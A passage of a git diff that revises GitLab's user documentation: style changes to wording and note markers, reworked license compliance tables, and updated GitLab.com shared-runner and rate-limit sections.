Google Pricing API access key to GitLab's access key. + - Changes the Google Pricing API access key to the GitLab access key. - Contains definitions for a custom GitLab Metrics dashboard to show the cost insights. 1. Connect GitLab with Prometheus, depending on your configuration: - *If Prometheus is already configured,* navigate to **Settings > Integrations > Prometheus** @@ -58,7 +58,7 @@ file or creating similar dashboard configuration files. To learn more, read abou #### Available metrics -Metrics contain both instance and node labels. The instance label will be deprecated in a future version. +Metrics contain both instance and node labels. The instance label is scheduled for deprecation in a future version. - `node_cpu_hourly_cost` - Hourly cost per vCPU on this node. - `node_gpu_hourly_cost` - Hourly cost per GPU on this node. diff --git a/doc/user/clusters/crossplane.md b/doc/user/clusters/crossplane.md index 8463917f2f3..c1ef798f5a8 100644 --- a/doc/user/clusters/crossplane.md +++ b/doc/user/clusters/crossplane.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Crossplane configuration diff --git a/doc/user/clusters/environments.md b/doc/user/clusters/environments.md index 3ab20c5466e..be4ac8151e4 100644 --- a/doc/user/clusters/environments.md +++ b/doc/user/clusters/environments.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Cluster Environments **(PREMIUM)** diff --git a/doc/user/clusters/management_project.md b/doc/user/clusters/management_project.md index f7241444a6b..55f507fb318 100644 --- a/doc/user/clusters/management_project.md +++ b/doc/user/clusters/management_project.md @@ -1,12 +1,12 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Cluster management project (alpha) +# Cluster management project -CAUTION: **Warning:** +WARNING: This is an _alpha_ feature, and it is subject to change at any time without prior notice. @@ -20,13 +20,13 @@ privileges. This can be useful for: -- Creating pipelines to install cluster-wide applications into your cluster, see [Install using GitLab CI/CD (alpha)](applications.md#install-using-gitlab-cicd-alpha) for details. +- Creating pipelines to install cluster-wide applications into your cluster, see [Install using GitLab CI/CD (alpha)](applications.md#install-using-gitlab-cicd) for details. - Any jobs that require `cluster-admin` privileges. ## Permissions -Only the management project will receive `cluster-admin` privileges. All -other projects will continue to receive [namespace scoped `edit` level privileges](../project/clusters/add_remove_clusters.md#rbac-cluster-resources). +Only the management project receives `cluster-admin` privileges. All +other projects continue to receive [namespace scoped `edit` level privileges](../project/clusters/add_remove_clusters.md#rbac-cluster-resources). Management projects are restricted to the following: @@ -92,7 +92,7 @@ to a management project: | Production | `production` | The following environments set in -[`.gitlab-ci.yml`](../../ci/yaml/README.md) will deploy to the +[`.gitlab-ci.yml`](../../ci/yaml/README.md) deploy to the Development, Staging, and Production cluster respectively. ```yaml diff --git a/doc/user/compliance/compliance_dashboard/index.md b/doc/user/compliance/compliance_dashboard/index.md index 151c61b50d8..f1dfc431f25 100644 --- a/doc/user/compliance/compliance_dashboard/index.md +++ b/doc/user/compliance/compliance_dashboard/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Compliance -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Compliance Dashboard **(ULTIMATE)** @@ -19,7 +19,7 @@ To access the Compliance Dashboard for a group, navigate to **{shield}** **Secur  -NOTE: **Note:** +NOTE: The Compliance Dashboard shows only the latest MR on each project. ## Use cases @@ -81,6 +81,6 @@ To download the Chain of Custody report, navigate to **{shield}** **Security & C You can generate a commit-specific Chain of Custody report for a given commit SHA. To do so, select the dropdown next to the **List of all merge commits** button at the top of the Compliance Dashboard. -NOTE: **Note:** +NOTE: The Chain of Custody report download is a CSV file, with a maximum size of 15 MB. The remaining records are truncated when this limit is reached. diff --git a/doc/user/compliance/index.md b/doc/user/compliance/index.md index d0e73b47358..d31f877c418 100644 --- a/doc/user/compliance/index.md +++ b/doc/user/compliance/index.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Compliance -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Compliance **(ULTIMATE)** diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md index 65c009f947f..f78b6115623 100644 --- a/doc/user/compliance/license_compliance/index.md +++ b/doc/user/compliance/license_compliance/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Secure group: Composition Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # License Compliance **(ULTIMATE)** @@ -19,21 +19,21 @@ in your existing `.gitlab-ci.yml` file or by implicitly using [Auto License Compliance](../../../topics/autodevops/stages.md#auto-license-compliance) that is provided by [Auto DevOps](../../../topics/autodevops/index.md). -GitLab checks the License Compliance report, compares the licenses between the -source and target branches, and shows the information right on the merge request. -Denied licenses will be clearly visible with an `x` red icon next to them -as well as new licenses which need a decision from you. In addition, you can -[manually allow or deny](#policies) -licenses in your project's license compliance policy section. If GitLab detects a denied license -in a new commit, GitLab blocks any merge requests containing that commit and instructs the developer -to remove the license. +The [License Finder](https://github.com/pivotal/LicenseFinder) scan tool runs as part of the CI/CD +pipeline, and detects the licenses in use. GitLab checks the License Compliance report, compares the +licenses between the source and target branches, and shows the information right on the merge +request. Denied licenses are indicated by a `x` red icon next to them as well as new licenses that +need a decision from you. In addition, you can [manually allow or deny](#policies) licenses in your +project's license compliance policy section. If a denied license is detected in a new commit, +GitLab blocks any merge requests containing that commit and instructs the developer to remove the +license. -NOTE: **Note:** +NOTE: If the license compliance report doesn't have anything to compare to, no information -will be displayed in the merge request area. That is the case when you add the +is displayed in the merge request area. That is the case when you add the `license_scanning` job in your `.gitlab-ci.yml` for the first time. -Consecutive merge requests will have something to compare to and the license -compliance report will be shown properly. +Consecutive merge requests have something to compare to and the license +compliance report is shown properly.  @@ -51,36 +51,33 @@ You can view and modify existing policies from the [policies](#policies) tab. The following languages and package managers are supported. -| Language | Package managers | Notes | Scan Tool | -|------------|------------------|-------|-----------| -| JavaScript | [Bower](https://bower.io/), [npm](https://www.npmjs.com/) | | [License Finder](https://github.com/pivotal/LicenseFinder) | -| Go | [Godep](https://github.com/tools/godep), [go mod](https://github.com/golang/go/wiki/Modules) | | [License Finder](https://github.com/pivotal/LicenseFinder) | -| Java | [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | | [License Finder](https://github.com/pivotal/LicenseFinder) | -| .NET | [Nuget](https://www.nuget.org/) | The .NET Framework is supported via the [mono project](https://www.mono-project.com/). There are, however, some limitations. The scanner doesn't support Windows-specific dependencies and doesn't report dependencies of your project's listed dependencies. Also, the scanner always marks detected licenses for all dependencies as `unknown`. | [License Finder](https://github.com/pivotal/LicenseFinder) | -| Python | [pip](https://pip.pypa.io/en/stable/) | Python is supported through [requirements.txt](https://pip.pypa.io/en/stable/user_guide/#requirements-files) and [Pipfile.lock](https://github.com/pypa/pipfile#pipfilelock). | [License Finder](https://github.com/pivotal/LicenseFinder) | -| Ruby | [gem](https://rubygems.org/) | | [License Finder](https://github.com/pivotal/LicenseFinder)| +Java 8 and Gradle 1.x projects are not supported. The minimum supported version of Maven is 3.2.5. -NOTE: **Note:** -Java 8 and Gradle 1.x projects are not supported. -The minimum supported version of Maven is 3.2.5. +| Language | Package managers | Notes | +|------------|----------------------------------------------------------------------------------------------|-------| +| JavaScript | [Bower](https://bower.io/), [npm](https://www.npmjs.com/) | | +| Go | [Godep](https://github.com/tools/godep), [go mod](https://github.com/golang/go/wiki/Modules) | | +| Java | [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | | +| .NET | [Nuget](https://www.nuget.org/) | The .NET Framework is supported via the [mono project](https://www.mono-project.com/). There are, however, some limitations. The scanner doesn't support Windows-specific dependencies and doesn't report dependencies of your project's listed dependencies. Also, the scanner always marks detected licenses for all dependencies as `unknown`. | +| Python | [pip](https://pip.pypa.io/en/stable/) | Python is supported through [requirements.txt](https://pip.pypa.io/en/stable/user_guide/#requirements-files) and [Pipfile.lock](https://github.com/pypa/pipfile#pipfilelock). | +| Ruby | [gem](https://rubygems.org/) | | ### Experimental support -The following languages and package managers are [supported experimentally](https://github.com/pivotal/LicenseFinder#experimental-project-types), -which means that the reported licenses might be incomplete or inaccurate. - -| Language | Package managers | Scan Tool | -|------------|-------------------------------------------------------------------|----------------------------------------------------------| -| JavaScript | [Yarn](https://yarnpkg.com/)|[License Finder](https://github.com/pivotal/LicenseFinder)| -| Go | go get, gvt, glide, dep, trash, govendor |[License Finder](https://github.com/pivotal/LicenseFinder)| -| Erlang | [Rebar](https://www.rebar3.org/) |[License Finder](https://github.com/pivotal/LicenseFinder)| -| Objective-C, Swift | [Carthage](https://github.com/Carthage/Carthage) | | [License Finder](https://github.com/pivotal/LicenseFinder) | -| Objective-C, Swift | [CocoaPods](https://cocoapods.org/) v0.39 and below |[License Finder](https://github.com/pivotal/LicenseFinder)| -| Elixir | [Mix](https://elixir-lang.org/getting-started/mix-otp/introduction-to-mix.html) |[License Finder](https://github.com/pivotal/LicenseFinder)| -| C++/C | [Conan](https://conan.io/) |[License Finder](https://github.com/pivotal/LicenseFinder)| -| Scala | [sbt](https://www.scala-sbt.org/) |[License Finder](https://github.com/pivotal/LicenseFinder)| -| Rust | [Cargo](https://crates.io) |[License Finder](https://github.com/pivotal/LicenseFinder)| -| PHP | [Composer](https://getcomposer.org/) |[License Finder](https://github.com/pivotal/LicenseFinder)| +The following languages and package managers are [supported experimentally](https://github.com/pivotal/LicenseFinder#experimental-project-types). +The reported licenses might be incomplete or inaccurate. + +| Language | Package managers | +|------------|---------------------------------------------------------------------------------------------------------------| +| JavaScript | [Yarn](https://yarnpkg.com/) | +| Go | go get, gvt, glide, dep, trash, govendor | +| Erlang | [Rebar](https://www.rebar3.org/) | +| Objective-C, Swift | [Carthage](https://github.com/Carthage/Carthage), [CocoaPods](https://cocoapods.org/) v0.39 and below | +| Elixir | [Mix](https://elixir-lang.org/getting-started/mix-otp/introduction-to-mix.html) | +| C++/C | [Conan](https://conan.io/) | +| Scala | [sbt](https://www.scala-sbt.org/) | +| Rust | [Cargo](https://crates.io) | +| PHP | [Composer](https://getcomposer.org/) | ## Requirements @@ -109,12 +106,12 @@ include: The included template creates a `license_scanning` job in your CI/CD pipeline and scans your dependencies to find their licenses. -NOTE: **Note:** +NOTE: Before GitLab 12.8, the `license_scanning` job was named `license_management`. GitLab 13.0 removes the `license_management` job, so you must migrate to the `license_scanning` job and use the new `License-Scanning.gitlab-ci.yml` template. -The results will be saved as a +The results are saved as a [License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning) that you can later download and analyze. Due to implementation limitations, we always take the latest License Compliance artifact available. Behind the scenes, the @@ -160,7 +157,7 @@ in the project automated setup, like the download and installation of a certific For that, a `LICENSE_MANAGEMENT_SETUP_CMD` environment variable can be passed to the container, with the required commands to run before the license detection. -If present, this variable will override the setup step necessary to install all the packages +If present, this variable overrides the setup step necessary to install all the packages of your application (e.g.: for a project with a `Gemfile`, the setup step could be `bundle install`). @@ -179,7 +176,7 @@ directory of your project. ### Overriding the template -CAUTION: **Deprecation:** +WARNING: Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic) is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. @@ -274,13 +271,13 @@ to specify its location. ### Configuring NPM projects -You can configure NPM projects by using an [`.npmrc`](https://docs.npmjs.com/configuring-npm/npmrc.html) +You can configure NPM projects by using an [`.npmrc`](https://docs.npmjs.com/configuring-npm/npmrc.html/) file. #### Using private NPM registries If you have a private NPM registry you can use the -[`registry`](https://docs.npmjs.com/using-npm/config#registry) +[`registry`](https://docs.npmjs.com/using-npm/config/#registry) setting to specify its location. For example: @@ -294,7 +291,7 @@ registry = https://npm.example.com You can supply a custom root certificate to complete TLS verification by using the `ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables). -To disable TLS verification you can provide the [`strict-ssl`](https://docs.npmjs.com/using-npm/config#strict-ssl) +To disable TLS verification you can provide the [`strict-ssl`](https://docs.npmjs.com/using-npm/config/#strict-ssl) setting. For example: @@ -454,7 +451,7 @@ if a GitLab remote is specified in the `.conan/remotes.json` file. To override the default credentials specify a [`CONAN_LOGIN_USERNAME_{REMOTE_NAME}`](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name) matching the name of the remote specified in the `.conan/remotes.json` file. -NOTE: **Note:** +NOTE: [MSBuild](https://github.com/mono/msbuild#microsoftbuild-msbuild) projects aren't supported. The `license_scanning` image ships with [Mono](https://www.mono-project.com/) and [MSBuild](https://github.com/mono/msbuild#microsoftbuild-msbuild). Additional setup may be required to build packages for this project configuration. @@ -616,7 +613,7 @@ To use License Compliance in an offline environment, you need: - GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). - Docker Container Registry with locally available copies of License Compliance [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images. -NOTE: **Note:** +NOTE: GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), meaning the runner tries to pull Docker images from the GitLab container registry even if a local copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) @@ -695,7 +692,7 @@ requirements must be met: [supported languages and package managers](#supported-languages-and-package-managers). Once everything is set, navigate to **Security & Compliance > License Compliance** -in your project's sidebar, and you'll see the licenses displayed, where: +in your project's sidebar, and the licenses are displayed, where: - **Name:** The name of the license. - **Component:** The components which have this license. @@ -708,8 +705,8 @@ in your project's sidebar, and you'll see the licenses displayed, where: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22465) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. Policies allow you to specify licenses that are `allowed` or `denied` in a project. If a `denied` -license is newly committed it will disallow a merge request and instruct the developer to remove it. -Note, the merge request will not be able to be merged until the `denied` license is removed. +license is newly committed it blocks the merge request and instructs the developer to remove it. +Note, the merge request is not able to be merged until the `denied` license is removed. You may add a [`License-Check` approval rule](#enabling-license-approvals-within-a-project), which enables a designated approver that can approve and then merge a merge request with `denied` license. @@ -771,7 +768,7 @@ specify the desired version by adding a or using the appropriate [`ASDF_<tool>_VERSION`](https://asdf-vm.com/#/core-configuration?id=environment-variables) environment variable to activate the appropriate version. -For example, the following `.tool-versions` file will activate version `12.16.3` of [Node.js](https://nodejs.org/) +For example, the following `.tool-versions` file activates version `12.16.3` of [Node.js](https://nodejs.org/) and version `2.7.2` of [Ruby](https://www.ruby-lang.org/). ```plaintext @@ -828,5 +825,5 @@ $ docker run -it --entrypoint='' registry.gitlab.com/gitlab-org/security-product root@6abb70e9f193:~# ``` -NOTE: **Note:** +NOTE: Selecting a custom version of [Mono](https://www.mono-project.com/) or [.NET Core](https://dotnet.microsoft.com/download/dotnet-core) is currently not supported. diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md index d3576ea33fe..945c082bba9 100644 --- a/doc/user/discussions/index.md +++ b/doc/user/discussions/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -31,7 +31,7 @@ You can also reply to a comment notification email to reply to the comment if creates another standard comment. Replying to a threaded comment creates a reply in the thread. Email replies support [Markdown](../markdown.md) and [quick actions](../project/quick_actions.md), just as if you replied from the web. -NOTE: **Note:** +NOTE: There is a limit of 5,000 comments for every object, for example: issue, epic, and merge request. ## Resolvable comments and threads @@ -85,7 +85,7 @@ Threads created this way will only appear in the original merge request and not when navigating to that commit under your project's **Repository > Commits** page. -TIP: **Tip:** +NOTE: When a link of a commit reference is found in a thread inside a merge request, it will be automatically converted to a link in the context of the current merge request. @@ -206,7 +206,7 @@ top-level resolvable threads are not automatically resolved. You can add comments and threads to a particular commit under your project's **Repository > Commits**. -CAUTION: **Attention:** +WARNING: Threads created this way will be lost if the commit ID changes after a force push. @@ -248,7 +248,7 @@ After you click on the image, a comment form will be displayed that would be the of your thread. Once you save your comment, you will see a new badge displayed on top of your image. This badge represents your thread. -NOTE: **Note:** +NOTE: This thread badge is typically associated with a number that is only used as a visual reference for each thread. In the merge request thread tab, this badge will be indicated with a comment icon since each thread will render a new @@ -444,7 +444,7 @@ to 4 lines _below_ the commented line, with the suggested change.  -NOTE: **Note:** +NOTE: Suggestions covering multiple lines are limited to 100 lines _above_ and 100 lines _below_ the commented diff line, allowing up to 200 changed lines per suggestion. @@ -491,13 +491,13 @@ For example, to customize the commit message to output **Addresses user_1's review**, set the custom text to `Addresses %{username}'s review`. -NOTE: **Note:** +NOTE: Custom commit messages for each applied Suggestion (and for batch Suggestions) will be introduced by [#25381](https://gitlab.com/gitlab-org/gitlab/-/issues/25381). ### Batch Suggestions -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25486) in GitLab 13.1 as an [alpha feature](https://about.gitlab.com/handbook/product/#alpha). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25486) in GitLab 13.1 as an [alpha feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha). > - It was deployed behind a feature flag, disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/227799) on GitLab 13.2. > - It's enabled on GitLab.com. diff --git a/doc/user/feature_flags.md b/doc/user/feature_flags.md index c134b7c083c..9a601871349 100644 --- a/doc/user/feature_flags.md +++ b/doc/user/feature_flags.md @@ -18,7 +18,7 @@ may be unavailable to you. In this case, you'll see a warning like this in the feature documentation: -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Review the **version history** note on this page for details. diff --git a/doc/user/feature_highlight.md b/doc/user/feature_highlight.md index 31eb0e6375d..8d452d2caf0 100644 --- a/doc/user/feature_highlight.md +++ b/doc/user/feature_highlight.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Feature highlight @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/16379) in GitLab 10.5 Feature highlights are represented by a pulsing blue dot. Hovering over the dot -will display more information. +displays more information. They are used to emphasize a certain feature and make something more visible to the user. You can dismiss any feature highlight permanently by clicking the "Got it" link diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md index 54f14c71c93..7aafa52799d 100644 --- a/doc/user/gitlab_com/index.md +++ b/doc/user/gitlab_com/index.md @@ -1,18 +1,18 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab.com settings -In this page you will find information about the settings that are used on +This page contains information about the settings that are used on [GitLab.com](https://about.gitlab.com/pricing/). ## SSH host keys fingerprints Below are the fingerprints for GitLab.com's SSH host keys. The first time you connect -to a GitLab.com repository, you'll see one of these keys in the output. +to a GitLab.com repository, one of these keys is displayed in the output. | Algorithm | MD5 (deprecated) | SHA256 | | --------- | --- | ------- | @@ -37,7 +37,7 @@ gitlab.com ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAA GitLab.com sends emails from the `mg.gitlab.com` domain via [Mailgun](https://www.mailgun.com/) and has its own dedicated IP address (`192.237.158.143`). -NOTE: **Note:** +NOTE: The IP address for `mg.gitlab.com` is subject to change at any time. ## Backups @@ -50,7 +50,7 @@ Projects can be backed up in their entirety by exporting them either [through th With exports, be sure to take note of [what is and is not](../project/settings/import_export.md#exported-contents), included in a project export. -Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki will come with it [if they were uploaded after 2020-08-22](../project/wiki/index.md#creating-a-new-wiki-page). +Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki are included [if they were uploaded after 2020-08-22](../project/wiki/index.md#creating-a-new-wiki-page). ## Alternative SSH port @@ -84,7 +84,7 @@ Below are the settings for [GitLab Pages](https://about.gitlab.com/stages-devops | TLS certificates support | yes | no | | Maximum size (compressed) | 1G | 100M | -NOTE: **Note:** +NOTE: The maximum size of your Pages site is regulated by the artifacts maximum size which is part of [GitLab CI/CD](#gitlab-cicd). @@ -116,7 +116,7 @@ or over the repository size limit, you can [reduce your repository size with Git | [Repository size including LFS](../admin_area/settings/account_and_limit_settings.md) | 10 GB | Unlimited | | Maximum import size | 5 GB | 50 MB | -NOTE: **Note:** +NOTE: `git push` and GitLab project imports are limited to 5 GB per request through Cloudflare. Git LFS and imports other than a file upload are not affected by this limit. ## IP range @@ -144,27 +144,26 @@ A limit of: GitLab offers Linux and Windows shared runners hosted on GitLab.com for executing your pipelines. -NOTE: **Note:** +NOTE: Shared runners provided by GitLab are **not** configurable. Consider [installing your own runner](https://docs.gitlab.com/runner/install/) if you have specific configuration needs. ### Linux shared runners -Linux shared runners on GitLab.com run in [autoscale mode](https://docs.gitlab.com/runner/configuration/autoscale.html) and are powered by Google Cloud Platform. -Autoscaling means reduced waiting times to spin up CI/CD jobs, and isolated VMs for each project, -thus maximizing security. They're free to use for public open source projects and limited -to 400 CI minutes per month per group for private projects. More minutes -[can be purchased](../../subscriptions/gitlab_com/index.md#purchase-additional-ci-minutes), if -needed. Read about all [GitLab.com plans](https://about.gitlab.com/pricing/). +Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform. + +Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. These shared runners are available for users and customers on GitLab.com. + +GitLab offers Gold tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier. All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default region of the VMs is US East1. Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs. -The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They will not run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. +The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), -**will be timed out after 3 hours**, regardless of the timeout configured in a +**time out after 3 hours**, regardless of the timeout configured in a project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference. Below are the shared runners settings. @@ -200,7 +199,7 @@ directory. The full contents of our `config.toml` are: -NOTE: **Note:** +NOTE: Settings that are not public are shown as `X`. **Google Cloud Platform** @@ -294,7 +293,7 @@ You can follow our work towards this goal in the The full contents of our `config.toml` are: -NOTE: **Note:** +NOTE: Settings that aren't public are shown as `X`. ```toml @@ -396,19 +395,19 @@ test: - The average provisioning time for a new Windows VM is 5 minutes. This means that you may notice slower build start times on the Windows shared runner fleet during the beta. In a future - release we will update the autoscaler to enable - the pre-provisioning of virtual machines. This will significantly reduce + release we intend to update the autoscaler to enable + the pre-provisioning of virtual machines. This is intended to significantly reduce the time it takes to provision a VM on the Windows fleet. You can follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32). - The Windows shared runner fleet may be unavailable occasionally for maintenance or updates. - The Windows shared runner virtual machine instances do not use the - GitLab Docker executor. This means that you will not be able to specify + GitLab Docker executor. This means that you can't specify [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in your pipeline configuration. - For the beta release, we have included a set of software packages in the base VM image. If your CI job requires additional software that's - not included in this list, then you will need to add installation + not included in this list, then you must add installation commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required software. Note that each job runs on a new VM instance, so the installation of additional software packages needs to be repeated for @@ -434,7 +433,7 @@ and the following environment variables: | `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT` | - | `30` | | `SIDEKIQ_LOG_ARGUMENTS` | `1` | `1` | -NOTE: **Note:** +NOTE: The `SIDEKIQ_MEMORY_KILLER_MAX_RSS` setting is `16000000` on Sidekiq import nodes and Sidekiq export nodes. @@ -506,54 +505,42 @@ Web front-ends: ## GitLab.com-specific rate limits -NOTE: **Note:** +NOTE: See [Rate limits](../../security/rate_limits.md) for administrator documentation. -IP blocks usually happen when GitLab.com receives unusual traffic from a single -IP address that the system views as potentially malicious based on rate limit -settings. After the unusual traffic ceases, the IP address will be automatically -released depending on the type of block, as described below. +When a request is rate limited, GitLab responds with a `429` status +code. The client should wait before attempting the request again. There +are also informational headers with this response detailed in [rate +limiting responses](#rate-limiting-responses). -If you receive a `403 Forbidden` error for all requests to GitLab.com, please -check for any automated processes that may be triggering a block. For -assistance, contact [GitLab Support](https://support.gitlab.com/hc/en-us) -with details, such as the affected IP address. +The following table describes the rate limits for GitLab.com, both before and +after the limits change in January, 2021: -### HAProxy API throttle +| Rate limit | Before 2021-01-18 | From 2021-01-18 | +|:--------------------------------------------------------------------------|:----------------------------|:------------------------------| +| **Protected paths** (for a given **IP address**) | **10** requests per minute | **10** requests per minute | +| **Raw endpoint** traffic (for a given **project, commit, and file path**) | **300** requests per minute | **300** requests per minute | +| **Unauthenticated** traffic (from a given **IP address**) | No specific limit | **500** requests per minute | +| **Authenticated** API traffic (for a given **user**) | No specific limit | **2,000** requests per minute | +| **Authenticated** non-API HTTP traffic (for a given **user**) | No specific limit | **1,000** requests per minute | +| **All** traffic (from a given **IP address**) | **600** requests per minute | **2,000** requests per minute | -GitLab.com responds with HTTP status code `429` to API requests that exceed 10 -requests -per second per IP address. - -The following example headers are included for all API requests: - -```plaintext -RateLimit-Limit: 600 -RateLimit-Observed: 6 -RateLimit-Remaining: 594 -RateLimit-Reset: 1563325137 -RateLimit-ResetTime: Wed, 17 Jul 2019 00:58:57 GMT -``` +More details are available on the rate limits for [protected +paths](#protected-paths-throttle) and [raw +endpoints](../../user/admin_area/settings/rate_limits_on_raw_endpoints.md). -Source: +### Rate limiting responses -- Search for `rate_limit_http_rate_per_minute` and `rate_limit_sessions_per_second` in [GitLab.com's current HAProxy settings](https://gitlab.com/gitlab-cookbooks/gitlab-haproxy/blob/master/attributes/default.rb). +The [`Retry-After` +header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Retry-After) +indicates when the client should retry. -### Pagination response headers - -For performance reasons, if a query returns more than 10,000 records, GitLab -doesn't return the following headers: - -- `x-total`. -- `x-total-pages`. -- `rel="last"` `link`. +Rate limits applied by HAProxy (instead of Cloudflare or the +GitLab application) have `RateLimit-Reset` and `RateLimit-ResetTime` +headers. -### Rack Attack initializer - -Details of rate limits enforced by [Rack Attack](../../security/rack_attack.md). - -#### Protected paths throttle +### Protected paths throttle GitLab.com responds with HTTP status code `429` to POST requests at protected paths that exceed 10 requests per **minute** per IP address. @@ -569,6 +556,18 @@ Retry-After: 60 See [Protected Paths](../admin_area/settings/protected_paths.md) for more details. +### IP blocks + +IP blocks can occur when GitLab.com receives unusual traffic from a single +IP address that the system views as potentially malicious, based on rate limit +settings. After the unusual traffic ceases, the IP address is automatically +released depending on the type of block, as described in a following section. + +If you receive a `403 Forbidden` error for all requests to GitLab.com, +check for any automated processes that may be triggering a block. For +assistance, contact [GitLab Support](https://support.gitlab.com/hc/en-us) +with details, such as the affected IP address. + #### Git and container registry failed authentication 